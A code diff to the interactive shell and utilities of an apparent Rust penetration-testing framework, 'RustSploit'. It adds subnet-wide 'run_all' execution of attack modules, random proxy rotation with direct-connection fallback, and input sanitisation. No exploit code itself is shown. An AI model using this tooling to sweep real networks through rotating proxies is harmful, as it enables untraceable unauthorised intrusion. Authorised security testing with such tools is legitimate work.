-                        if ctx.proxy_list.is_empty() {
-                            println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
-                        } else {
-                            println!("Loaded proxies ({}):", ctx.proxy_list.len());
-                            for p in &ctx.proxy_list {
-                                println!("  {}", p);
-                            }
+                        "back" => {
+                            ctx.current_module = None;
+                            ctx.current_target = None;
+                            println!("{}", "Cleared current module and target.".green());
                         }
-                        println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
-                    }
-                    "use" => {
-                        if rest.is_empty() {
-                            println!("{}", "Usage: use <module_path>".yellow());
-                        } else if utils::module_exists(&rest) {
-                            ctx.current_module = Some(rest.to_string());
-                            println!("{}", format!("Module '{}' selected.", rest).green());
-                        } else {
-                            println!("{}", format!("Module '{}' not found.", rest).red());
-                        }
-                    }
-                    "set" => {
-                        let parts: Vec<&str> = rest.split_whitespace().collect();
-                        if parts.len() >= 2 && parts[0] == "target" {
-                            ctx.current_target = Some(parts[1].to_string());
-                            println!("{}", format!("Target set to {}", parts[1]).green());
-                        } else {
-                            println!("{}", "Usage: set target <value>".yellow());
-                        }
-                    }
-                    "run" => {
-                        if let Some(ref module_path) = ctx.current_module {
+                        "show_target" | "target" => {
                             if let Some(ref t) = ctx.current_target {
-                                if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
-                                    let mut tried_proxies = HashSet::new();
-                                    let mut success = false;
-
-                                    while tried_proxies.len() < ctx.proxy_list.len() {
-                                        let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
-                                        set_all_proxy_env(&chosen_proxy);
-                                        println!("[*] Using proxy: {}", chosen_proxy);
-
-                                        println!("Running module '{}' against target '{}'", module_path, t);
-                                        match commands::run_module(module_path, t).await {
-                                            Ok(_) => {
-                                                success = true;
-                                                break;
-                                            }
-                                            Err(e) => {
-                                                eprintln!("[!] Module failed with error: {:?}", e);
-                                                eprintln!("    Retrying with a new proxy...");
-                                                tried_proxies.insert(chosen_proxy);
-                                            }
-                                        }
-                                    }
-
-                                    if !success {
-                                        println!("[!] All proxies failed. Trying direct connection...");
-                                        clear_proxy_env_vars();
-                                        if let Err(e) = commands::run_module(module_path, t).await {
-                                            eprintln!("[!] Final direct attempt also failed: {:?}", e);
-                                        }
-                                    }
-                                } else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
-                                    println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
-                                    clear_proxy_env_vars();
-                                    if let Err(e) = commands::run_module(module_path, t).await {
-                                        eprintln!("[!] Module failed: {:?}", e);
+                                println!("{}", format!("Local target: {}", t).cyan());
+                            } else {
+                                println!("{}", "No local target set.".dimmed());
+                            }
+                            if config::GLOBAL_CONFIG.has_target() {
+                                let target_str = config::GLOBAL_CONFIG.get_target().unwrap_or_default();
+                                if let Some(size) = config::GLOBAL_CONFIG.get_target_size() {
+                                    if size > 1 {
+                                        println!("{}", format!("Global target (subnet): {} ({} IPs)", target_str, size).green());
+                                    } else {
+                                        println!("{}", format!("Global target: {}", target_str).green());
                                     }
                                 } else {
-                                    clear_proxy_env_vars();
-                                    if let Err(e) = commands::run_module(module_path, t).await {
-                                        eprintln!("[!] Module failed: {:?}", e);
+                                    println!("{}", format!("Global target: {}", target_str).green());
+                                }
+                            } else {
+                                println!("{}", "No global target set.".dimmed());
+                            }
+                        }
+                        "clear_target" => {
+                            ctx.current_target = None;
+                            config::GLOBAL_CONFIG.clear_target();
+                            println!("{}", "Cleared local and global targets.".green());
+                        }
+                        "help" => render_help(),
+                        "modules" => utils::list_all_modules(),
+                        "find" => {
+                            if rest.is_empty() {
+                                println!("{}", "Usage: find <keyword>".yellow());
+                            } else {
+                                utils::find_modules(&rest);
+                            }
+                        }
+                        "proxy_load" => {
+                            let file_path = if rest.is_empty() {
+                                match prompt_for_path("Path to proxy list file: ") {
+                                    Ok(path) => path,
+                                    Err(e) => {
+                                        println!("{}", format!("[!] Error reading input: {}", e).red());
+                                        continue;
                                     }
                                 }
                             } else {
-                                println!("{}", "No target set. Use 'set target <value>' first.".yellow());
+                                rest.to_string()
+                            };
+
+                            match utils::load_proxies_from_file(&file_path) {
+                                Ok(summary) => {
+                                    let mut unique = HashSet::new();
+                                    let mut deduped = Vec::new();
+                                    for proxy in summary.proxies.iter() {
+                                        if unique.insert(proxy.clone()) {
+                                            deduped.push(proxy.clone());
+                                        }
+                                    }
+
+                                    if deduped.len() > MAX_PROXY_LIST_SIZE {
+                                        println!(
+                                            "{}",
+                                            format!(
+                                                "[!] Loaded proxy list exceeded {} entries. Truncating.",
+                                                MAX_PROXY_LIST_SIZE
+                                            )
+                                                .yellow()
+                                        );
+                                        deduped.truncate(MAX_PROXY_LIST_SIZE);
+                                    }
+
+                                    let removed = summary.proxies.len().saturating_sub(deduped.len());
+                                    if removed > 0 {
+                                        println!(
+                                            "{}",
+                                            format!(
+                                                "[*] Removed {} duplicate proxy entr{}.",
+                                                removed,
+                                                if removed == 1 { "y" } else { "ies" }
+                                            )
+                                                .dimmed()
+                                        );
+                                    }
+
+                                    ctx.proxy_list = deduped;
+                                    println!(
+                                        "Loaded {} proxies from '{}'.",
+                                        ctx.proxy_list.len(),
+                                             file_path
+                                    );
+
+                                    if !summary.skipped.is_empty() {
+                                        println!(
+                                            "{}",
+                                            format!(
+                                                "Skipped {} invalid entr{}:",
+                                                summary.skipped.len(),
+                                                    if summary.skipped.len() == 1 { "y" } else { "ies" }
+                                            )
+                                                .yellow()
+                                        );
+                                        for failure in summary.skipped.iter().take(10) {
+                                            println!(
+                                                "  [line {}] {} ({})",
+                                                     failure.line_number,
+                                                     failure.content,
+                                                     failure.reason
+                                            );
+                                        }
+                                        if summary.skipped.len() > 10 {
+                                            println!(
+                                                "  ... {} additional entr{} skipped.",
+                                                summary.skipped.len() - 10,
+                                                     if summary.skipped.len() - 10 == 1 {
+                                                         "y"
+                                                     } else {
+                                                         "ies"
+                                                     }
+                                            );
+                                        }
+                                    }
+
+                                    match prompt_yes_no("Test connectivity of loaded proxies? (recommended)", true) {
+                                        Ok(true) => {
+                                            if let Err(e) = test_current_proxies(&mut ctx).await {
+                                                println!("{}", format!("[!] Proxy testing failed: {}", e).red());
+                                            }
+                                        }
+                                        Ok(false) => {}
+                                        Err(e) => {
+                                            println!("{}", format!("[!] Error reading input: {}", e).red());
+                                        }
+                                    }
+                                }
+                                Err(e) => {
+                                    println!("Failed to load proxies: {}", e);
+                                }
                             }
-                        } else {
-                            println!("{}", "No module selected. Use 'use <module>' first.".yellow());
+                        }
+                        "proxy_on" => {
+                            ctx.proxy_enabled = true;
+                            println!("Proxy usage enabled.");
+                        }
+                        "proxy_off" => {
+                            ctx.proxy_enabled = false;
+                            println!("Proxy usage disabled.");
+                            clear_proxy_env_vars();
+                        }
+                        "proxy_test" => {
+                            if let Err(e) = test_current_proxies(&mut ctx).await {
+                                println!("{}", format!("[!] Proxy testing failed: {}", e).red());
+                            }
+                        }
+                        "show_proxies" => {
+                            if ctx.proxy_list.is_empty() {
+                                println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
+                            } else {
+                                println!("Loaded proxies ({}):", ctx.proxy_list.len());
+                                for p in &ctx.proxy_list {
+                                    println!("  {}", p);
+                                }
+                            }
+                            println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
+                        }
+                        "use" => {
+                            if rest.is_empty() {
+                                println!("{}", "Usage: use <module_path>".yellow());
+                            } else if let Some(safe_path) = sanitize_module_path(&rest) {
+                                if utils::module_exists(&safe_path) {
+                                    ctx.current_module = Some(safe_path.clone());
+                                    println!("{}", format!("Module '{}' selected.", safe_path).green());
+                                } else {
+                                    println!("{}", format!("Module '{}' not found.", rest).red());
+                                }
+                            } else {
+                                println!(
+                                    "{}",
+                                    "Module path contains invalid characters or traversal attempts."
+                                    .red()
+                                );
+                            }
+                        }
+                        "set" => {
+                            // Handle "set target <value>" - require "target " prefix with space
+                            if rest.starts_with("target ") {
+                                let raw_value = rest.strip_prefix("target ").unwrap().trim();
+                                if raw_value.is_empty() {
+                                    println!("{}", "Usage: set target <value>".yellow());
+                                    println!("{}", "  Examples:".dimmed());
+                                    println!("{}", "    set target 192.168.1.1".dimmed());
+                                    println!("{}", "    set target 192.168.1.0/24".dimmed());
+                                    println!("{}", "    set target example.com".dimmed());
+                                    continue;
+                                }
+                                match sanitize_target(raw_value) {
+                                    Ok(valid_target) => {
+                                        // Set both local context and global config
+                                        ctx.current_target = Some(valid_target.clone());
+                                        match config::GLOBAL_CONFIG.set_target(&valid_target) {
+                                            Ok(_) => {
+                                                if config::GLOBAL_CONFIG.is_subnet() {
+                                                    println!("{}", format!("Global target set to subnet: {}", valid_target).green());
+                                                } else {
+                                                    println!("{}", format!("Global target set to: {}", valid_target).green());
+                                                }
+                                                println!("{}", format!("Local target set to: {}", valid_target).green());
+                                            }
+                                            Err(e) => {
+                                                println!("{}", format!("[!] Failed to set global target: {}", e).red());
+                                                // Still set local target
+                                                println!("{}", format!("Local target set to: {}", valid_target).green());
+                                            }
+                                        }
+                                    }
+                                    Err(reason) => {
+                                        println!("{}", format!("[!] {}", reason).yellow());
+                                    }
+                                }
+                            } else {
+                                println!("{}", "Usage: set target <value>".yellow());
+                                println!("{}", "  Examples:".dimmed());
+                                println!("{}", "    set target 192.168.1.1".dimmed());
+                                println!("{}", "    set target 192.168.1.0/24".dimmed());
+                                println!("{}", "    set target example.com".dimmed());
+                            }
+                        }
+                        "run" => {
+                            if let Some(ref module_path) = ctx.current_module {
+                                // Try to get target from local context, then global config
+                                let target = if let Some(ref t) = ctx.current_target {
+                                    Some(t.clone())
+                                } else if config::GLOBAL_CONFIG.has_target() {
+                                    // Use single IP from global target (handles subnets intelligently)
+                                    match config::GLOBAL_CONFIG.get_single_target_ip() {
+                                        Ok(ip) => {
+                                            println!("{}", format!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default()).cyan());
+                                            Some(ip)
+                                        }
+                                        Err(e) => {
+                                            println!("{}", format!("[!] Error getting global target: {}", e).red());
+                                            None
+                                        }
+                                    }
+                                } else {
+                                    None
+                                };
+
+                                if let Some(ref t) = target {
+                                    if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
+                                        let mut tried_proxies = HashSet::new();
+                                        let mut success = false;
+
+                                        while tried_proxies.len() < ctx.proxy_list.len() {
+                                            let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
+                                            set_all_proxy_env(&chosen_proxy);
+                                            println!("[*] Using proxy: {}", chosen_proxy);
+
+                                            println!("Running module '{}' against target '{}'", module_path, t);
+                                            match commands::run_module(module_path, t).await {
+                                                Ok(_) => {
+                                                    success = true;
+                                                    break;
+                                                }
+                                                Err(e) => {
+                                                    eprintln!("[!] Module failed with error: {:?}", e);
+                                                    eprintln!("    Retrying with a new proxy...");
+                                                    tried_proxies.insert(chosen_proxy);
+                                                }
+                                            }
+                                        }
+
+                                        if !success {
+                                            println!("[!] All proxies failed. Trying direct connection...");
+                                            clear_proxy_env_vars();
+                                            if let Err(e) = commands::run_module(module_path, t).await {
+                                                eprintln!("[!] Final direct attempt also failed: {:?}", e);
+                                            }
+                                        }
+                                    } else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
+                                        println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
+                                        clear_proxy_env_vars();
+                                        if let Err(e) = commands::run_module(module_path, t).await {
+                                            eprintln!("[!] Module failed: {:?}", e);
+                                        }
+                                    } else {
+                                        clear_proxy_env_vars();
+                                        if let Err(e) = commands::run_module(module_path, t).await {
+                                            eprintln!("[!] Module failed: {:?}", e);
+                                        }
+                                    }
+                                } else {
+                                    println!("{}", "No target set. Use 'set target <value>' first.".yellow());
+                                    println!("{}", "  Examples:".dimmed());
+                                    println!("{}", "    set target 192.168.1.1".dimmed());
+                                    println!("{}", "    set target 192.168.1.0/24".dimmed());
+                                }
+                            } else {
+                                println!("{}", "No module selected. Use 'use <module>' first.".yellow());
+                            }
+                        }
+                        "run_all" => {
+                            if let Some(ref module_path) = ctx.current_module {
+                                // Check if we have a subnet target
+                                if !config::GLOBAL_CONFIG.has_target() {
+                                    println!("{}", "No global target set. Use 'set target <ip/subnet>' first.".yellow());
+                                    continue;
+                                }
+
+                                if !config::GLOBAL_CONFIG.is_subnet() {
+                                    println!("{}", "Global target is not a subnet. Use 'run' for single targets.".yellow());
+                                    continue;
+                                }
+
+                                // Get all IPs from the subnet
+                                match config::GLOBAL_CONFIG.get_target_ips() {
+                                    Ok(ips) => {
+                                        let total = ips.len();
+                                        println!("{}", format!("[*] Running module '{}' against all {} IPs in subnet", module_path, total).cyan().bold());
+                                        println!("{}", format!("[*] Subnet: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default()).cyan());
+                                        
+                                        let mut success_count = 0;
+                                        let mut fail_count = 0;
+
+                                        for (idx, ip) in ips.iter().enumerate() {
+                                            println!("\n{}", format!("[{}/{}] Running against: {}", idx + 1, total, ip).yellow());
+                                            
+                                            if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
+                                                let mut tried_proxies = HashSet::new();
+                                                let mut success = false;
+
+                                                while tried_proxies.len() < ctx.proxy_list.len() {
+                                                    let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
+                                                    set_all_proxy_env(&chosen_proxy);
+
+                                                    match commands::run_module(module_path, ip).await {
+                                                        Ok(_) => {
+                                                            success = true;
+                                                            success_count += 1;
+                                                            break;
+                                                        }
+                                                        Err(e) => {
+                                                            if tried_proxies.is_empty() {
+                                                                eprintln!("[!] Module failed: {:?}", e);
+                                                            }
+                                                            tried_proxies.insert(chosen_proxy);
+                                                        }
+                                                    }
+                                                }
+
+                                                if !success {
+                                                    fail_count += 1;
+                                                    if ctx.proxy_list.len() == tried_proxies.len() {
+                                                        println!("{}", "[!] All proxies failed for this target".red());
+                                                    }
+                                                }
+                                            } else {
+                                                clear_proxy_env_vars();
+                                                match commands::run_module(module_path, ip).await {
+                                                    Ok(_) => success_count += 1,
+                                                    Err(e) => {
+                                                        eprintln!("[!] Module failed: {:?}", e);
+                                                        fail_count += 1;
+                                                    }
+                                                }
+                                            }
+                                        }
+
+                                        println!("\n{}", "=== Run All Summary ===".cyan().bold());
+                                        println!("{}", format!("Total IPs: {}", total).green());
+                                        println!("{}", format!("Successful: {}", success_count).green());
+                                        println!("{}", format!("Failed: {}", fail_count).red());
+                                    }
+                                    Err(e) => {
+                                        println!("{}", format!("[!] Error getting target IPs: {}", e).red());
+                                        println!("{}", "Note: Subnets larger than 65536 IPs are not supported for run_all. Use a smaller subnet.".yellow());
+                                    }
+                                }
+                            } else {
+                                println!("{}", "No module selected. Use 'use <module>' first.".yellow());
+                            }
+                        }
+                        _ => {
+                            println!("{}", format!("Unknown command: '{}'. Type 'help' or '?' for usage.", cmd_input).red());
                         }
                     }
-                    _ => {
-                        println!("{}", format!("Unknown command: '{}'. Type 'help' or '?' for usage.", trimmed).red());
-                    }
                 }
-            }
-            None => {
-                println!("{}", format!("Unknown command: '{}'. Type 'help' or '?' for usage.", trimmed).red());
+                None => {
+                    println!("{}", format!("Unknown command: '{}'. Type 'help' or '?' for usage.", cmd_input).red());
+                }
             }
         }
     }
@@ -229,14 +510,17 @@ pub async fn interactive_shell() -> Result<()> {
 fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<String>) -> String {
     let mut rng = rand::rng();
     let choices: Vec<&String> = proxy_list
-        .iter()
-        .filter(|p| !tried_proxies.contains(*p))
-        .collect();
+    .iter()
+    .filter(|p| !tried_proxies.contains(*p))
+    .collect();
 
     if let Some(choice) = choices.choose(&mut rng) {
-        choice.to_string()
+        (*choice).clone()
     } else {
-        proxy_list.choose(&mut rng).unwrap().to_string()
+        // Fallback if all have been tried
+        proxy_list.choose(&mut rng)
+        .map(|s| s.clone())
+        .unwrap_or_else(|| proxy_list[0].clone())
     }
 }
 
@@ -271,20 +555,64 @@ fn resolve_command(cmd: &str) -> String {
         "show_proxies" | "proxies" | "pshow" | "proxy_show" => "show_proxies",
         "use" | "u" => "use",
         "set" | "target" => "set",
-        "run" | "go" | "exec" => "run",
+        "show_target" | "showtarget" | "st" => "show_target",
+        "clear_target" | "cleartarget" | "ct" => "clear_target",
+                        "run" | "go" | "exec" => "run",
+                        "run_all" | "runall" | "ra" => "run_all",
+        "back" | "b" | "clear" | "reset" => "back",
         "exit" | "quit" | "q" => "exit",
         other => other,
     }
     .to_string()
 }
 
+fn sanitize_module_path(input: &str) -> Option<String> {
+    let trimmed = input.trim();
+    if trimmed.is_empty() {
+        return None;
+    }
+    if trimmed.contains("..") || trimmed.contains('\\') {
+        return None;
+    }
+    let valid = trimmed.chars().all(|c| {
+        matches!(
+            c,
+            'a'..='z'
+        | 'A'..='Z'
+        | '0'..='9'
+        | '/'
+        | '_'
+        | '-'
+        )
+    });
+    if valid {
+        Some(trimmed.to_string())
+    } else {
+        None
+    }
+}
+
+fn sanitize_target(input: &str) -> std::result::Result<String, &'static str> {
+    let trimmed = input.trim();
+    if trimmed.is_empty() {
+        return Err("Target cannot be empty.");
+    }
+    if trimmed.len() > MAX_TARGET_LENGTH {
+        return Err("Target value is too long.");
+    }
+    if trimmed.chars().any(|c| c.is_control()) {
+        return Err("Target cannot contain control characters.");
+    }
+    Ok(trimmed.to_string())
+}
+
 fn render_help() {
     println!();
     println!("{}", "RustSploit Command Palette".bold().underline());
     println!(
         "{}",
         "Shortcuts are case-insensitive. Example: `f1 ssh` searches for SSH modules."
-            .dimmed()
+        .dimmed()
     );
     println!();
 
@@ -293,8 +621,12 @@ fn render_help() {
         ("modules", "modules | ls | m", "List available modules"),
         ("find", "find <kw> | f1 <kw>", "Search modules by keyword"),
         ("use", "use <path> | u <path>", "Select a module to run"),
-        ("set target", "set target <value>", "Set current target host/IP"),
+        ("set target", "set target <value>", "Set global target (IP/subnet) for all modules"),
+        ("show_target", "show_target | target", "Show current local and global targets"),
+        ("clear_target", "clear_target", "Clear local and global targets"),
         ("run", "run | go", "Execute selected module (with proxy rotation)"),
+        ("run_all", "run_all | runall | ra", "Run module against all IPs in subnet (max 65536)"),
+        ("back", "back | b | clear | reset", "Clear current module and target"),
         ("proxy_load", "proxy_load [file] | pl", "Load proxy list from file"),
         ("proxy_on", "proxy_on | pon", "Enable proxy usage"),
         ("proxy_off", "proxy_off | poff", "Disable proxy usage"),
@@ -312,7 +644,7 @@ fn render_help() {
     println!(
         "{}",
         "Need more context? Try `modules`, then `use category/module_name`, and finally `run`."
-            .dimmed()
+        .dimmed()
     );
     println!();
 }
@@ -330,10 +662,10 @@ async fn test_current_proxies(ctx: &mut ShellContext) -> Result<()> {
 
     println!(
         "[*] Testing {} proxy entr{} (timeout: {}s, concurrency: {})",
-        total,
-        if total == 1 { "y" } else { "ies" },
-        timeout_secs,
-        max_parallel
+             total,
+             if total == 1 { "y" } else { "ies" },
+                 timeout_secs,
+             max_parallel
     );
 
     let summary = utils::test_proxies(&ctx.proxy_list, &test_url, timeout_secs, max_parallel).await;
@@ -426,8 +758,8 @@ fn prompt_u64(message: &str, default: u64) -> io::Result<u64> {
             return Ok(default);
         }
         match trimmed.parse::<u64>() {
-            Ok(value) => return Ok(value),
-            Err(_) => println!("Invalid number. Please enter a positive integer."),
+            Ok(value) if value > 0 => return Ok(value),
+            _ => println!("Invalid number. Please enter a positive integer."),
         }
     }
 }

src/utils.rs

@@ -11,52 +11,173 @@ use futures::stream::{FuturesUnordered, StreamExt};
 use reqwest;
 use tokio::sync::Semaphore;
 use url::Url;
+use regex::Regex;
 
 /// Maximum folder depth to traverse
 const MAX_DEPTH: usize = 6;
 
-/// Take “1.2.3.4”, “::1”, “[::1]:8080” or “hostname” and
-/// always return a valid “host:port” or “[ipv6]:port” string.
+/// Maximum length for target strings to prevent DoS
+const MAX_TARGET_LENGTH: usize = 2048;
+
+/// Maximum length for module paths
+const MAX_MODULE_PATH_LENGTH: usize = 512;
+
+/// Maximum file size to read (10MB) - prevents reading huge files
+const MAX_FILE_SIZE: u64 = 10 * 1024 * 1024;
+
+/// Maximum number of proxies to process
+const MAX_PROXIES: usize = 100000;
+
+/// Maximum parallel proxy tests
+const MAX_PARALLEL_PROXIES: usize = 1000;
+
+/// Maximum timeout for proxy tests (5 minutes)
+const MAX_PROXY_TIMEOUT_SECS: u64 = 300;
+
+/// Take "1.2.3.4", "::1", "[::1]:8080" or "hostname" and
+/// always return a valid "host:port" or "[ipv6]:port" string.
+/// 
+/// # Security
+/// - Validates input length to prevent DoS
+/// - Sanitizes input to prevent injection
+/// - Validates hostname format
 pub fn normalize_target(raw: &str) -> Result<String> {
-    if raw.contains("]:") || raw.starts_with('[') {
-        // Already normalized, like [::1]:8080 or [2001:db8::1]
-        return Ok(raw.to_string());
+    // Input validation
+    let trimmed = raw.trim();
+    
+    // Check length to prevent DoS
+    if trimmed.is_empty() {
+        return Err(anyhow!("Target cannot be empty"));
+    }
+    
+    if trimmed.len() > MAX_TARGET_LENGTH {
+        return Err(anyhow!(
+            "Target too long (max {} characters, got {})",
+            MAX_TARGET_LENGTH,
+            trimmed.len()
+        ));
+    }
+    
+    // Basic sanitization - remove control characters and excessive whitespace
+    let sanitized: String = trimmed
+        .chars()
+        .filter(|c| !c.is_control() || *c == ' ' || *c == '\t')
+        .collect::<String>()
+        .split_whitespace()
+        .collect::<Vec<_>>()
+        .join(" ");
+    
+    if sanitized.is_empty() {
+        return Err(anyhow!("Target contains only invalid characters"));
+    }
+    
+    // Check for path traversal attempts
+    if sanitized.contains("..") || sanitized.contains("//") {
+        return Err(anyhow!("Invalid target format: contains path traversal characters"));
+    }
+    
+    // Handle already normalized formats
+    if sanitized.contains("]:") || sanitized.starts_with('[') {
+        // Validate the format
+        if sanitized.starts_with('[') && !sanitized.contains(']') {
+            return Err(anyhow!("Invalid IPv6 format: missing closing bracket"));
+        }
+        // Basic validation - check it's not just brackets
+        let inner = sanitized.trim_matches(|c| c == '[' || c == ']');
+        if inner.is_empty() {
+            return Err(anyhow!("Invalid target: empty address"));
+        }
+        return Ok(sanitized.to_string());
     }
 
-    // Looks like an unwrapped IPv6 address if it has multiple colons
-    let is_ipv6 = raw.matches(':').count() >= 2;
-
+    // Detect IPv6 addresses (multiple colons, no dots)
+    let colon_count = sanitized.matches(':').count();
+    let has_dots = sanitized.contains('.');
+    
+    // IPv6 detection: multiple colons and no dots (or dots only in port)
+    let is_ipv6 = colon_count >= 2 && !has_dots;
+    
+    // Additional IPv6 validation
     if is_ipv6 {
-        Ok(format!("[{}]", raw))
+        // Check for valid IPv6 characters
+        let ipv6_re = Regex::new(r"^[0-9a-fA-F:]+$").unwrap();
+        let addr_part = sanitized.split(':').next().unwrap_or("");
+        if !ipv6_re.is_match(addr_part) && !addr_part.is_empty() {
+            return Err(anyhow!("Invalid IPv6 address format: '{}'", sanitized));
+        }
+        Ok(format!("[{}]", sanitized))
     } else {
-        Ok(raw.to_string())
+        // Validate hostname/IPv4 format
+        // Basic validation: no spaces, reasonable characters
+        if sanitized.contains(' ') {
+            return Err(anyhow!("Invalid target format: contains spaces"));
+        }
+        
+        // Check for valid hostname/IPv4/CIDR characters (allow / for CIDR notation)
+        let host_re = Regex::new(r"^[a-zA-Z0-9.\-_:/]+$").unwrap();
+        if !host_re.is_match(&sanitized) {
+            return Err(anyhow!("Invalid target format: contains invalid characters"));
+        }
+        
+        Ok(sanitized.to_string())
     }
 }
 
-
-/// Recursively list .rs files up to a certain depth (unchanged)
+/// Recursively list .rs files up to a certain depth with security checks
 fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
     let mut modules = Vec::new();
 
-    if depth > MAX_DEPTH || !dir.exists() {
+    // Depth limit to prevent infinite recursion
+    if depth > MAX_DEPTH {
+        return modules;
+    }
+    
+    // Validate directory exists and is readable
+    if !dir.exists() {
+        return modules;
+    }
+    
+    // Prevent path traversal - ensure we're within src/modules
+    let modules_base = Path::new("src/modules");
+    if !dir.starts_with(modules_base) && depth > 0 {
+        // Only allow traversal within src/modules
         return modules;
     }
 
-    if let Ok(entries) = fs::read_dir(dir) {
-        for entry in entries.flatten() {
-            let path = entry.path();
+    // Read directory with error handling
+    let entries = match fs::read_dir(dir) {
+        Ok(entries) => entries,
+        Err(_) => return modules, // Silently skip unreadable directories
+    };
 
-            if path.is_dir() {
-                modules.extend(collect_module_paths(&path, depth + 1));
-            } else if let Some(file_name) = path.file_name().and_then(|s| s.to_str()) {
-                if file_name.ends_with(".rs") && file_name != "mod.rs" {
-                    let relative_path = path
-                        .strip_prefix("src/modules")
-                        .unwrap_or(&path)
-                        .with_extension("")
-                        .to_string_lossy()
-                        .replace('\\', "/"); // For Windows
-                    modules.push(relative_path);
+    for entry in entries.flatten() {
+        let path = entry.path();
+
+        // Check for symlinks that might cause issues
+        if path.is_symlink() {
+            continue; // Skip symlinks for security
+        }
+
+        if path.is_dir() {
+            // Recursively collect from subdirectories
+            modules.extend(collect_module_paths(&path, depth + 1));
+        } else if let Some(file_name) = path.file_name().and_then(|s| s.to_str()) {
+            // Only process .rs files, skip mod.rs
+            if file_name.ends_with(".rs") && file_name != "mod.rs" {
+                // Validate path length
+                let relative_path = match path.strip_prefix("src/modules") {
+                    Ok(rel) => rel,
+                    Err(_) => &path, // Fallback to full path if strip fails
+                };
+                
+                let path_str = relative_path
+                    .with_extension("")
+                    .to_string_lossy()
+                    .replace('\\', "/"); // Windows path normalization
+                
+                // Validate path length
+                if path_str.len() <= MAX_MODULE_PATH_LENGTH {
+                    modules.push(path_str);
                 }
             }
         }
@@ -65,13 +186,27 @@ fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
     modules
 }
 
-/// Dynamically checks if a module path exists at any depth (unchanged)
+/// Dynamically checks if a module path exists at any depth with validation
 pub fn module_exists(module_path: &str) -> bool {
+    // Input validation
+    if module_path.is_empty() {
+        return false;
+    }
+    
+    if module_path.len() > MAX_MODULE_PATH_LENGTH {
+        return false;
+    }
+    
+    // Check for path traversal attempts
+    if module_path.contains("..") || module_path.contains("//") {
+        return false;
+    }
+    
     let modules = collect_module_paths(Path::new("src/modules"), 0);
     modules.iter().any(|m| m == module_path)
 }
 
-/// Lists all available modules recursively under src/modules/ (unchanged)
+/// Lists all available modules recursively under src/modules/
 pub fn list_all_modules() {
     println!("{}", "Available modules:".bold().underline());
     let modules = collect_module_paths(Path::new("src/modules"), 0);
@@ -99,8 +234,20 @@ pub fn list_all_modules() {
     }
 }
 
-/// Finds and displays modules matching a keyword (unchanged)
+/// Finds and displays modules matching a keyword with validation
 pub fn find_modules(keyword: &str) {
+    // Input validation
+    if keyword.is_empty() {
+        println!("{}", "Keyword cannot be empty.".red());
+        return;
+    }
+    
+    // Limit keyword length
+    if keyword.len() > 100 {
+        println!("{}", "Keyword too long (max 100 characters).".red());
+        return;
+    }
+    
     let keyword_lower = keyword.to_lowercase();
     let modules = collect_module_paths(Path::new("src/modules"), 0);
 
@@ -167,50 +314,159 @@ pub struct ProxyTestSummary {
     pub failed: Vec<ProxyTestFailure>,
 }
 
-/// Attempt to normalise and validate a proxy entry.
-fn normalize_proxy_candidate(line: &str) -> Result<String> {
-    let trimmed = line.trim();
-    if trimmed.is_empty() {
-        return Err(anyhow!("empty line"));
-    }
-
-    let candidate = if trimmed.contains("://") {
-        trimmed.to_string()
-    } else {
-        format!("http://{}", trimmed)
-    };
-
-    let url = Url::parse(&candidate).map_err(|e| anyhow!("invalid proxy syntax: {}", e))?;
-
+/// Validates and sanitizes a proxy URL
+fn validate_proxy_url(url: &Url) -> Result<()> {
+    // Check scheme
     if !SUPPORTED_PROXY_SCHEMES.iter().any(|scheme| url.scheme() == *scheme) {
         return Err(anyhow!("unsupported proxy scheme '{}'", url.scheme()));
     }
 
-    if url.host_str().is_none() {
-        return Err(anyhow!("missing proxy host"));
+    // Validate host
+    let host = url.host_str()
+        .ok_or_else(|| anyhow!("missing proxy host"))?;
+    
+    // Validate host length
+    if host.is_empty() {
+        return Err(anyhow!("proxy host cannot be empty"));
+    }
+    
+    if host.len() > 253 { // Max DNS hostname length
+        return Err(anyhow!("proxy host too long (max 253 characters)"));
+    }
+    
+    // Validate hostname format (basic check)
+    let host_re = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
+    if !host_re.is_match(host) {
+        return Err(anyhow!("invalid proxy host format"));
+    }
+    
+    // Check for localhost/private IP abuse (warning only, not blocking)
+    if host == "localhost" || host == "127.0.0.1" || host == "::1" {
+        // Allow but could log warning in production
     }
 
-    if url.port().is_none() {
-        return Err(anyhow!("missing proxy port"));
+    // Validate port
+    let port = url.port()
+        .ok_or_else(|| anyhow!("missing proxy port"))?;
+    
+    if port == 0 {
+        return Err(anyhow!("proxy port cannot be 0"));
     }
 
+    // Port is already validated to be in u16 range (0-65535) by Url::parse
+    // We just need to check it's not 0 (already checked above)
+    // Additional validation: check for common restricted ports if needed
+
+    Ok(())
+}
+
+/// Attempt to normalise and validate a proxy entry with enhanced security
+fn normalize_proxy_candidate(line: &str) -> Result<String> {
+    let trimmed = line.trim();
+    
+    // Input validation
+    if trimmed.is_empty() {
+        return Err(anyhow!("empty line"));
+    }
+    
+    // Length check to prevent DoS
+    if trimmed.len() > 2048 {
+        return Err(anyhow!("proxy line too long (max 2048 characters)"));
+    }
+    
+    // Sanitize input - remove control characters (but allow newline/carriage return for line processing)
+    let sanitized: String = trimmed
+        .chars()
+        .filter(|c| {
+            let ch = *c;
+            !ch.is_control() || ch == '\n' || ch == '\r'
+        })
+        .collect();
+    
+    if sanitized.is_empty() {
+        return Err(anyhow!("proxy line contains only invalid characters"));
+    }
+
+    // Add scheme if missing
+    let candidate = if sanitized.contains("://") {
